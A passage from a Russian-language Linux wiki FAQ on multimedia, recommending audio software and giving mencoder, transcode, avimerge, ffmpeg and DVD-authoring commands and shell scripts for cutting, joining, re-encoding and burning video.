Если очень нравится mencoder, но хочется получить графический интерфейс — вам поможет [http://www.mplayerhq.hu/design7/projects.html страница] на сайте mplayer, на которой перечислены все возможные фронтенды как к MPlayer, так и к Mencoder.&lt;br /&gt;
&lt;br /&gt;
==Какой есть софт для работы со звуком? Для создания музыки?==&lt;br /&gt;
&lt;br /&gt;
/* FIXME: Написать подробно что и как */&lt;br /&gt;
&lt;br /&gt;
Проще всего использовать [http://ccrma.stanford.edu/planetccrma/software/planetccrma.html Planetccrma], это репозиторий для Fedora, позволяющий превратить дистрибутив в рабочую станцию с low-latency ядром и множеством для работы со звуком. На сайте есть [http://ccrma.stanford.edu/planetccrma/software/soundapps.html описание] программ.&lt;br /&gt;
&lt;br /&gt;
Существует свободная профессиональная DAW под названием [http://ardour.org Ardour]. Проект обладает всеми необходимыми фичами, удобен в использовании и постоянно развивается. К недостаткам можно отнести отсутствие версии под оффтопик и относительно высокий порог вхождения для тех, кто ранее не работал с такого рода программами (например cubase).&lt;br /&gt;
&lt;br /&gt;
Из более простого существует wave-редактор [http://sourceforge.net/projects/audacity Audacity]. Он умеет несколько дорожек, некоторые эффекты, само собой, обрезать и перетаскивать фрагменты и даже записывать звук с микрофона или линейного входа. Если проводить аналогию, то это что-то вроде adobe audition, только ещё чуть попроще и легче. Запускается и работает быстро. Пригодится в тех случаях, когда надо сделать что-то по-быстрому, и запускать относительно тяжёлый Ardour не хочется.&lt;br /&gt;
&lt;br /&gt;
Драм-машин уровня DfH Superior или Battery нет, но есть [https://lmms.io LMMS], в котором можно использовать сэмплы оттуда, правда с гуманизацией придётся колдовать как-то самому.&lt;br /&gt;
&lt;br /&gt;
Для коммуникации между разными программами, а также для уменьшения задержки существует звуковой сервер [http://jackaudio.org JACK]. Он автоматически запускается в том числе Ardour'ом, но можно его запустить и вручную.&lt;br /&gt;
&lt;br /&gt;
/* FIXME: Не забыть и про UbuntuStudio и 64 Studio */&lt;br /&gt;
&lt;br /&gt;
==Как работать с форматом mkv (добавлять/удалять дорожки, настраивать задержки, выбирать языки)?==&lt;br /&gt;
Вам поможет [https://www.bunkus.org/videotools/mkvtoolnix MKVToolNix], там есть всё необходимое, в том числе и GUI-фронтэнд ко всем консольным командам с интуитивно понятным интерфейсом.&lt;br /&gt;
&lt;br /&gt;
==Чем разрезать avi-файл?==&lt;br /&gt;
&lt;br /&gt;
Проще и лучше всего программой avisplit из комплекта [http://www.transcoding.org/cgi-bin/transcode transcode]. Еще можно колдовать, используя mencoder с ключами -ss (-sb) и -frames, но это сложновато.&lt;br /&gt;
&lt;br /&gt;
==Чем склеить avi-файл?==&lt;br /&gt;
&lt;br /&gt;
Проще всего с помощью программы avimerge из того же комплекта [http://www.transcoding.org/cgi-bin/transcode transcode]. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
avimerge -i input1.avi input2.avi -o new_input12.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Можно с помощью mencoder. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat input1.avi input2.avi | mencoder - -forceidx -oac copy -ovc copy -o new_input12.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Минус в строчке не лишний - он означает, что видео берется из потока. Файлы должны иметь одинаковые параметры - т.е. видео должно быть зажато одним и тем же кодеком, аудио - то же самое, плюс параметры сжатия должны быть одинаковы (т.е. разрешение видео, битрейт). Опция -forceidx нужна, чтобы после склейки не &amp;quot;съехали&amp;quot; индексы и фильм можно было нормально перематывать.&lt;br /&gt;
&lt;br /&gt;
==Как сделать видеоролик из набора фотографий?==&lt;br /&gt;
&lt;br /&gt;
Для объединения нескольких изображений в видеоролик с наложением звуковой дорожки можно использовать ffmpeg:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ffmpeg -i sound.mp3 -f image2 -i img/image%d.jpg video.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Тоже самое средствами mencoder:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder mf://*jpg -mf w=640:h=480:fps=10:type=jpg -ovc lavc -lavcopts \&lt;br /&gt;
      vcodec=mpeg4:mbd=2:trell -oac copy -o output.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Плюс добавляем звуковую дорожку:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder -oac copy -ovc copy -audiofile sound.mp3 output.avi -o video.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Преобразуем в mpeg4:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder Alex.avi -oac mp3lame -lameopts abr:br=32 -ovc lavc \&lt;br /&gt;
      -lavcopts vcodec=mpeg4:mbd=2:trell:vbitrate=160  -vf scale=320:240  -o films.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Как исправить индексы в видеофайле? Почему у меня перемотка в некоторых видеофайлах не работает?==&lt;br /&gt;
&lt;br /&gt;
Довольно просто - индексы нужно перестроить. Воспользуемся mencoder. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder input.avi -forceidx -oac copy -ovc copy -o output.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Также можно использовать утилиту avifix из из комплекта [http://www.transcoding.org/cgi-bin/transcode transcode]. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
avifix -i input.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Как приклеить звук к avi-файлу? Как приклеить вторую звуковую дорожку?==&lt;br /&gt;
&lt;br /&gt;
Проще всего с помощью программы avimerge из комплекта [http://www.transcoding.org/cgi-bin/transcode transcode]. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
avimerge -i input.avi -p input.wav -o output.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Соответственно, клеится звук на первую свободную дорожку. Для avi-файлов, это дорожки с номерами от 0 до 31. Если дорожка 0 уже занята, то звук приклеится к дорожке 1 и получится avi с несколькими дорожками.&lt;br /&gt;
&lt;br /&gt;
==Как убрать нулевую звуковую дорожку из avi-файла?==&lt;br /&gt;
&lt;br /&gt;
На самом деле как убрать определенную дорожку я не знаю. Но если в файле одна дорожка или несколько, их все можно убрать с помощью mencoder так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder input.avi -ovc copy -nosound -o output.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Помните, что любая операция, произведенная с помощью mencoder, убьет дополнительные звуковые дорожки из видеофайла.&lt;br /&gt;
&lt;br /&gt;
==Как выделить звуковую дорожку из avi-файла?==&lt;br /&gt;
&lt;br /&gt;
Тут есть два варианта:&lt;br /&gt;
&lt;br /&gt;
1. В помощью MPlayer. Так мы сможем получить чистый звуковой файл так, как он закодирован. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mplayer input.avi -vo null -dumpaudio -dumpfile mysound.mp3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Соответственно, запишется файл mysound.mp3. Правда звук запишется в том формате, в котором был - т.е. если PCM, то в PCM, если в AC3, то в AC3 и т.п.&lt;br /&gt;
&lt;br /&gt;
2. С помощью mencoder:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder input.avi -of rawaudio -oac mp3lame -ovc lavc -o output.mp3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Звук получается действительно в mp3, его даже играет мой (очень привиредливый) плеер, правда, длину трека показывать отказывается.&lt;br /&gt;
&lt;br /&gt;
3. Тоже при помощи mencoder. Этим способом мы получим звук в контейнере avi (просто не будет видео):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder input.avi -ovc null -oac copy -o sound.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Такой звук отлично подходит для работы с видеофайлами (типа подклейки и т.п.). К тому же часто звук ac3 играется без проблем именно из avi-контейнера.&lt;br /&gt;
&lt;br /&gt;
==Пережал звук из wav в mp3 и подклеил к avi-файлу, теперь видео не синхронизировано с аудио. Что делать?==&lt;br /&gt;
&lt;br /&gt;
Вообще это нехорошая практика жать звук отдельно. Тем не менее, если жмешь звук с помощью lame, нужно воспользоваться ключиком --cbr (т.е. никакого переменного битрейта). Должно помочь .&lt;br /&gt;
&lt;br /&gt;
Либо можно приклеить к avi этот wav-файл, после чего жать его средствами mencoder. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
avimerge -i input.avi -p input.wav -o input-wav.avi&lt;br /&gt;
mencoder input-wav.avi -ovc copy -oac mp3lame -lameopts vbr=3:br=192:q=0:aq=0 -o output-mp3.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Avimerge не подклеивает wav и/или mp3 к avi==&lt;br /&gt;
&lt;br /&gt;
В некоторых дистрибутивах avimerge так собран. Его придется пересобрать (например, в случае с дистрибутивом Fedora avimerge из репозитория livna.org не воспринимает mp3).&lt;br /&gt;
&lt;br /&gt;
А можно пойти другим путем, используя mencoder:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mencoder input.avi -audiofile audio.avi -oac copy -ovc copy -o output.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Как перегнать mp3 в ogg (в том числе из консоли)?==&lt;br /&gt;
&lt;br /&gt;
Вы можете воспользоваться программой [http://ecasound.seul.org/ecasound/ ecasound].&lt;br /&gt;
&lt;br /&gt;
Для преобразования из консоли воспользуйтесь скриптом [http://dev.gentoo.org/~sergey/mp32ogg mp32ogg]. Это не домашняя страница проекта, а сам скрипт, исправленный [http://linux.org.ru/whois.jsp?nick=svyatogor svyatorog] для перекодировки тэгов сразу в unicode. Домашняя страница проекта - [http://faceprint.com/code/].&lt;br /&gt;
&lt;br /&gt;
Есть второй вариант - поместить mp3 в контейнер ogg, единственное, что не все плееры понимают такой ogg. Утилита для такой операции называется ogmmerge, входит в состав [http://www.bunkus.org/videotools/ogmtools/ OGMtools].&lt;br /&gt;
&lt;br /&gt;
На самом деле перекодирование из одного lossy-формата в другой проводить не стоит.&lt;br /&gt;
==Как создать тег mp3-файла в кодировке UTF-8 (например, для MPD)?==&lt;br /&gt;
&lt;br /&gt;
Кодировка UTF-8 поддерживается только id3 тэгами версии 2.4 (id3v2.4). Есть CLI утилита [http://eyed3.nicfit.net/ eyeD3], написанная на python, которая умеет создавать/редактировать id3 теги версии 2.4.&lt;br /&gt;
&lt;br /&gt;
==Как массово преобразовать все теги моей коллекции в UTF-8?==&lt;br /&gt;
&lt;br /&gt;
Для массовой перекодировки можно воспользоваться утилитой mid3iconv из пакета [http://code.google.com/p/quodlibet/wiki/Mutagen mutagen]. В Debian соответствующий пакет называется python-mutagen. Предполагается, что первоначально теги были в кодировке CP1251&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
find -iname '*.mp3' -print0 | xargs -0 mid3iconv -eCP1251 --remove-v1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Замечание: если тэги уже в ID3v2.4 и UTF-8, ничего страшного не произойдет, так что эту команду можно использовать на смешанной коллекции.&lt;br /&gt;
&lt;br /&gt;
Если нужен GUI, используйте ExFalso или QuodLibet.&lt;br /&gt;
&lt;br /&gt;
==Чем изменить частоту в wav-файле (и не только)?==&lt;br /&gt;
&lt;br /&gt;
С помощью утилиты [http://sox.sourceforge.net/ sox]. Достаточно добавить нужную частоту в список параметров выходного файла. Например:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sox input.wav -r 44100 output.wav&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
При конвертации в ogg утилитой oggenc можно использовать ключ --resample. &lt;br /&gt;
&lt;br /&gt;
==Чем объединить несколько mp3 или ogg в один?==&lt;br /&gt;
&lt;br /&gt;
* [http://mp3splt.sourceforge.net/ mp3split] &lt;br /&gt;
* [http://mp3wrap.sourceforge.net/ mp3wrap]&lt;br /&gt;
&lt;br /&gt;
==Как перекодировать фильм для КПК (PDA,avi,DVD)?==&lt;br /&gt;
&lt;br /&gt;
Точно так же, как и для обычного компьютера. Разница заключается в разрешении и битрейте. Так же не стоит пользоваться экзотическими кодеками.&lt;br /&gt;
&lt;br /&gt;
Фильмы, закодированные так, как описано, прекрасно смотрятся с помощью tcpmp (преемник betaplayer).&lt;br /&gt;
&lt;br /&gt;
Будь то КПК с разрешением VGA или QVGA для обоих прекрасно подойдет классическое разрешение 320x240 и его вариации. Битрейт - от 170 до 220 кбит/сек. Поставите меньше - получите квадраты на быстрых сценах. Поставите больше и увеличите размер файла без заметного улучшения качества.&lt;br /&gt;
&lt;br /&gt;
Не советую ухудшать звук, если пережимаете из avi-файла, потому что если экран у вас меньше, то звук-то как раз не ухудшается. Более того, в наушниках некачественный звук раздражает больше. Хотя, если места совсем мало, можете сделать звук mono, 22050 Гц на 80кбит/с. Это минимум того, что я видел. Экономит примерно 30-40Мб.&lt;br /&gt;
&lt;br /&gt;
Итак, скрипт для перекодировки фильма из avi-файла с помощью mencoder (кодируется реальный полуторачасовой фильм &amp;quot;К оружию&amp;quot; из серии &amp;quot;Вавилон-5&amp;quot;):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
PH=/mnt/dos/media/Video&lt;br /&gt;
READYPH=/mnt/dos/media/Video/ready&lt;br /&gt;
NAME=Babylon5_Call_to_Arms&lt;br /&gt;
BITRATE=230&lt;br /&gt;
NICE=15&lt;br /&gt;
ENG=129&lt;br /&gt;
RUS=128&lt;br /&gt;
&lt;br /&gt;
nice -n $NICE mencoder /mnt/dos/media/Video/$NAME&amp;quot;.avi&amp;quot; -ni \&lt;br /&gt;
-ovc lavc -lavcopts vcodec=mpeg4:vhq:vbitrate=$BITRATE:vme=5:keyint=300:v4mv:mv0:qpel:trell:cbp:naq \&lt;br /&gt;
-vf scale=320:176,pp=hb/vb/dr -sws 2 \&lt;br /&gt;
-oac copy \&lt;br /&gt;
-o $READYPH/$NAME&amp;quot;-pda.avi&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Несколько проходов не нужно, потому как улучшения качества не наблюдается.&lt;br /&gt;
&lt;br /&gt;
Можно еще число кадров снизить. Тогда добавим в строчку команду '''-ofps 25''' для того, чтобы получить 25 кадров в секунду. Правда есть засада - на некоторых сценах изображение может дергаться.&lt;br /&gt;
&lt;br /&gt;
Размер фильма будет около 200 Мб. Так что на гигабайтную карту легко поместятся четыре фильма.&lt;br /&gt;
&lt;br /&gt;
Точно так же кодируется фильм из DVD. Меняем строчку с параметрами на нижеприведенные:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat $PH/*vob | nice -n $NICE mencoder - -ni -aid $RUS \&lt;br /&gt;
-ovc frameno \&lt;br /&gt;
-oac mp3lame -lameopts vbr=3:br=192:q=0:aq=0 \&lt;br /&gt;
-o $READYPH/&amp;quot;sound-&amp;quot;$RUS&amp;quot;.avi&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat $PH/*.vob | nice -n $NICE mencoder - \&lt;br /&gt;
-ovc lavc -lavcopts vcodec=mpeg4:vhq:vbitrate=$BITRATE:vme=5:keyint=300:v4mv:mv0:qpel:trell:cbp:naq \&lt;br /&gt;
-vf scale=320:176,pp=hb/vb/dr -sws 2 \&lt;br /&gt;
-nosound \&lt;br /&gt;
-o $READYPH/fin_noso.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nice -n $NICE avimerge -i $READYPH/fin_noso.avi -p $READYPH/&amp;quot;sound-&amp;quot;$RUS&amp;quot;.avi&amp;quot; -o $READYPH/final.a&lt;br /&gt;
vi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Как перекодировать DVD в mpeg4 (dvd2mpeg)?==&lt;br /&gt;
&lt;br /&gt;
Пришлось отдельно выносить этот вопрос, потому что предыдущий вопрос-ответ никто не читает.&lt;br /&gt;
&lt;br /&gt;
Перекодировать ваш DVD в mpeg4 можно с помощью консольных утилит [http://mplayerhq.hu/ mencoder] и [http://www.transcoding.org/cgi-bin/transcode transcode].&lt;br /&gt;
&lt;br /&gt;
Посчитать битрейт можно с помощью калькулятора [http://kde-apps.org/content/show.php?content=14204 DivXcalc].&lt;br /&gt;
&lt;br /&gt;
Кодирование в 2 прохода с двумя звуковыми дорожками на два cd можно сделать таким скриптом (в mpeg4):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
PH=/mnt/dos/dvd&lt;br /&gt;
READYPH=/mnt/dos/dvd/ready&lt;br /&gt;
BITRATE=1600&lt;br /&gt;
NICE=15&lt;br /&gt;
ENG=129&lt;br /&gt;
RUS=128&lt;br /&gt;
FPS=25&lt;br /&gt;
DATE=&amp;quot;`date +%H%M%d`&amp;quot;&lt;br /&gt;
&lt;br /&gt;
cp divx2pass.log &amp;quot;divx2pass-&amp;quot;$DATE&amp;quot;.log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
cat $PH/*vob | nice -n $NICE mencoder - -ofps $FPS -ni -aid $RUS \&lt;br /&gt;
-ovc frameno \&lt;br /&gt;
-oac mp3lame -lameopts vbr=3:br=192:q=0:aq=0 \&lt;br /&gt;
-o $READYPH/&amp;quot;sound-&amp;quot;$RUS&amp;quot;.avi&amp;quot;&lt;br /&gt;
&lt;br /&gt;
cat $PH/*.vob | nice -n $NICE mencoder - -ofps $FPS -ni -aid $ENG \&lt;br /&gt;
-ovc frameno \&lt;br /&gt;
-oac mp3lame -lameopts vbr=3:br=192:q=0:aq=0 \&lt;br /&gt;
-o $READYPH/&amp;quot;sound-&amp;quot;$ENG&amp;quot;.avi&amp;quot;&lt;br /&gt;
&lt;br /&gt;
cat $PH/*.vob | nice -n $NICE mencoder - -ofps $FPS \&lt;br /&gt;
-ovc lavc -lavcopts vcodec=mpeg4:vpass=1:vhq:vbitrate=$BITRATE:vme=5:keyint=300:v4mv:mv0:qpel:trell:cbp:naq \&lt;br /&gt;
-vf scale=640:360,pp=hb/vb/dr -sws 2 \&lt;br /&gt;
-nosound \&lt;br /&gt;
-o /dev/null&lt;br /&gt;
&lt;br /&gt;
cat $PH/*.vob | nice -n $NICE mencoder - -ofps $FPS \&lt;br /&gt;
-ovc lavc -lavcopts vcodec=mpeg4:vpass=2:vhq:vbitrate=$BITRATE:vme=5:keyint=300:v4mv:mv0:qpel:trell:cbp:naq \&lt;br /&gt;
-vf scale=640:360,pp=hb/vb/dr -sws 2 \&lt;br /&gt;
-nosound \&lt;br /&gt;
-o $READYPH/final-f1.avi&lt;br /&gt;
&lt;br /&gt;
rm -f $PH/*.vob&lt;br /&gt;
&lt;br /&gt;
nice -n $NICE avimerge -i $READYPH/final-rc1.avi -p $READYPH/&amp;quot;sound-&amp;quot;$RUS&amp;quot;.avi&amp;quot; -o $READYPH/final-rc2.avi&lt;br /&gt;
nice -n $NICE avimerge -i $READYPH/final-rc2.avi -p $READYPH/&amp;quot;sound-&amp;quot;$ENG&amp;quot;.avi&amp;quot; -o $READYPH/final.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Для кодирования в три прохода понадобится mplayer версии не ниже 1.0pre7 и кодек lavc.&lt;br /&gt;
&lt;br /&gt;
Или в этом скрипте можно поменять несколько строчек и кодировать в xvid:&lt;br /&gt;
&lt;br /&gt;
меняем строчку с cp:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cp xvid-twopass.stats &amp;quot;xvid-twopass-&amp;quot;$DATE&amp;quot;.stats&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и меняем строчки с кодированием видео&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat $PH/*.vob | nice -n $NICE mencoder - -ofps $FPS -ni \&lt;br /&gt;
-ovc xvid -xvidencopts pass=1:vhq=1:qpel:trellis \&lt;br /&gt;
-nosound \&lt;br /&gt;
-vf crop=718:422:2:66,scale=640:356,pp=hb/vb/dr -sws 2 \&lt;br /&gt;
-o /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat $PH/*.vob | nice -n $NICE mencoder - -ofps $FPS -aid $RUS -ni \&lt;br /&gt;
-ovc xvid -xvidencopts bitrate=$BITRATE:pass=2:vhq=1:qpel:trellis \&lt;br /&gt;
-nosound \&lt;br /&gt;
-vf crop=718:422:2:66,scale=640:356,pp=hb/vb/dr -sws 2 \&lt;br /&gt;
-o $READYPH/final-rc1.avi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Если вы хотите оставить звук в ac3 (как он идет в dvd), то вместо строчек перекодирования в mp3 поставьте&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-oac copy&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Как пережать DVD9 в DVD5?==&lt;br /&gt;
&lt;br /&gt;
Взято [http://www.opennet.ru/base/sys/dvd_r_mix.txt.html отсюда]. Автор Vladimir Kurtukov. Переписано в FAQ, дабы не потерялось.&lt;br /&gt;
&lt;br /&gt;
Hеобходимые программы: &lt;br /&gt;
1. dvdauthor, dvdunauthor - [http://dvdauthor.sourceforge.net/]&lt;br /&gt;
&lt;br /&gt;
2. mplex mjpegtools не ниже 1.6.2 - [http://mjpeg.sourceforge.net/]&lt;br /&gt;
&lt;br /&gt;
3. extract_mpeg2 libmpeg2 - [http://libmpeg2.sourceforge.net/]&lt;br /&gt;
&lt;br /&gt;
4. extract_a52 liba52 - [http://liba52.sourceforge.net/]&lt;br /&gt;
&lt;br /&gt;
5. tcprobe - [http://www.transcoding.org/cgi-bin/transcode]&lt;br /&gt;
&lt;br /&gt;
6. M2VRequantizer - [http://metakine.com/files/M2VRequantiser.tgz]&lt;br /&gt;
&lt;br /&gt;
7. growisofs, mkisofs&lt;br /&gt;
&lt;br /&gt;
Сам процесс: &lt;br /&gt;
&lt;br /&gt;
1. '''dvdunauthor'''-ом делаем с dvd проект. он его делает не совсем правильно и надо либо выкинуть vmgm и menus секции, либо как-то дописать недостающее. для компьютерных dvd можно выкинуть.&lt;br /&gt;
&lt;br /&gt;
2. Надо посмотреть, что собой представляет vob.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
        # tcprobe -i vob_01_001t.vob&lt;br /&gt;
        [tcprobe] MPEG program stream (PS)&lt;br /&gt;
        [tcprobe] summary for vob_01_001t.vob, (*) = not default, 0 = not detected&lt;br /&gt;
        import frame size: -g 720x576 [720x576]&lt;br /&gt;
             aspect ratio: 16:9 (*)&lt;br /&gt;
               frame rate: -f 25.000 [25.000] frc=3&lt;br /&gt;
                           PTS=0.2873, frame_time=40 ms, bitrate=9800 kbps&lt;br /&gt;
              audio track: -a 1 [0] -e 48000,16,2 [48000,16,2] -n 0x2000 [0x2000]&lt;br /&gt;
                           PTS=0.2873, bitrate=384 kbps&lt;br /&gt;
        detected (2) subtitle(s)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3. затем большой vob расчленяем на video и audio потоки&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
        extract_mpeg2 &amp;lt;vob_01_001t.vob &amp;gt;vob_01_001t.m2v&lt;br /&gt;
        extract_a52 -s 1 &amp;lt;vob_01_001t.vob &amp;gt;vob_01_001t.ac3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
В ключик -s подставить номер нужной дорожки, см. -a в выводе '''tcprobe'''&lt;br /&gt;
&lt;br /&gt;
Проверить, какая же именно дорожка нам нужна, можно задав '''mplayer'''-у ключик -aid 128+&amp;lt;номер нужной дорожки&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Берем софтину '''M2VRequantizer'''.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@localhost~ $ ls -l vob_01_001t.m2v&lt;br /&gt;
&lt;br /&gt;
        -rw-r--r--  1 root  wheel  1833868872 Mar  5 22:58 vob_01_001t.m2v&lt;br /&gt;
&lt;br /&gt;
        # ./M2VReqiantizer 1.2 3 1833868872 &amp;lt;vob_01_001t.m2v &amp;gt;vob_01_001t-out.m2v&lt;br /&gt;
        M2VRequantiser by Makira.&lt;br /&gt;
        Using 1.200000 as factor, 1833868872 as m2v size.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''factor''' - число, во сколько раз будет уменьшен размер файла&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@localhost~ $ ls -l vob_01_001t-out.m2v&lt;br /&gt;
        -rw-r--r--  1 root  wheel  1525283645 Mar  5 23:36 vob_01_001t-out.m2v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
5. Собираем обратно vob.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@localhost~ $ mplex -f 8 -o vob_01_001t.vob vob_01_001t-out.m2v vob_01_001t.ac3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
где '''-f 8''' - формат DVD&lt;br /&gt;
&lt;br /&gt;
6. Остается запустить dvdauthor.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
        # dvdauthor -o dvd -x dvdauthor.xml&lt;br /&gt;
        # dvdauthor -T -o dvd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и в каталоге dvd будет результат&lt;br /&gt;
&lt;br /&gt;
7. Запись на болванку.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@localhost~ $ growisofs -Z /dev/cd0c -speed=4 -dvd-video -V LABEL dvd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Чем под Linux сделать DVD из avi-файла? Как сделать DVD с помощью mencoder, или transcode?==&lt;br /&gt;
&lt;br /&gt;
Можно попробовать графические утилиты (они вам пригодятся для создания менюшек и т.п.) под названием [http://kde-apps.org/content/show.php?content=14129 QDVDAuthor] или [http://www.rastersoft.com/programas/devede.html DeVeDe].&lt;br /&gt;
&lt;br /&gt;
Можно прочитать вот [http://gentoo-wiki.com/HOWTO_Create_a_DVD#Using_mencoder_.28alternative_to_transcode.29 эту статью] или же сделать все скриптами как показано ниже.&lt;br /&gt;
&lt;br /&gt;
Алгоритм кодирования в dvd такой:&lt;br /&gt;
&lt;br /&gt;
#Звук конвертируете в pcm, ac3, mp2 (mpeg 1 layer2).&lt;br /&gt;
#Видео конвертируете в mpeg2video. Это можно сделать с помощью mplex из комплекта mjpegtools, или с помощью mencoder (output format: -of mpeg), но лучше первым. К тому же mencoder не умеет делать звук mp2.&lt;br /&gt;
#Далее можно пропустить это через dvdauthor, чтобы сформировать структуру каталогов.&lt;br /&gt;
#Затем делается image.&lt;br /&gt;
#Запись.&lt;br /&gt;
&lt;br /&gt;
Все прочитали? Можно автоматизировать процесс с помощью mkdvd. Или скрипта Obidos'а:&lt;br /&gt;
&lt;br /&gt;
1-й случай. PAL (в исходном avi 25fps).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
mkdir tmp&lt;br /&gt;
ORIG=tmp/`basename $1 .avi`&lt;br /&gt;
echo &amp;quot;Doing transcode...&amp;quot;&lt;br /&gt;
transcode -i $1 -V -y mpeg2enc,mp2enc -F &amp;quot;5,-S 800&amp;quot; -E 44100 -b 128  -o $ORIG -Z 480x576&lt;br /&gt;
echo &amp;quot;Doing mplex...&amp;quot;&lt;br /&gt;
mplex -f 4 -S 800 -o $ORIG%d.mpg $ORIG.m2v $ORIG.mpa&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2-й случай. NTSC (в исходном avi 29.97fps либо 23.976fps).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
mkdir tmp&lt;br /&gt;
ORIG=tmp/`basename $1 .avi`&lt;br /&gt;
echo &amp;quot;Doing transcode...&amp;quot;&lt;br /&gt;
transcode -i $1 -V -y mpeg2enc,mp2enc -F &amp;quot;5,-S 800&amp;quot; -E 44100 -b 128  -o $ORIG -j -92 -Z 480x480&lt;br /&gt;
echo &amp;quot;Doing mplex...&amp;quot;&lt;br /&gt;
mplex -f 4 -S 800 -o $ORIG%d.mpg $ORIG.m2v $ORIG.mpa&lt;br /&gt;
#end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3. Скрипт сборки образа диска для прожига&lt;br /&gt;
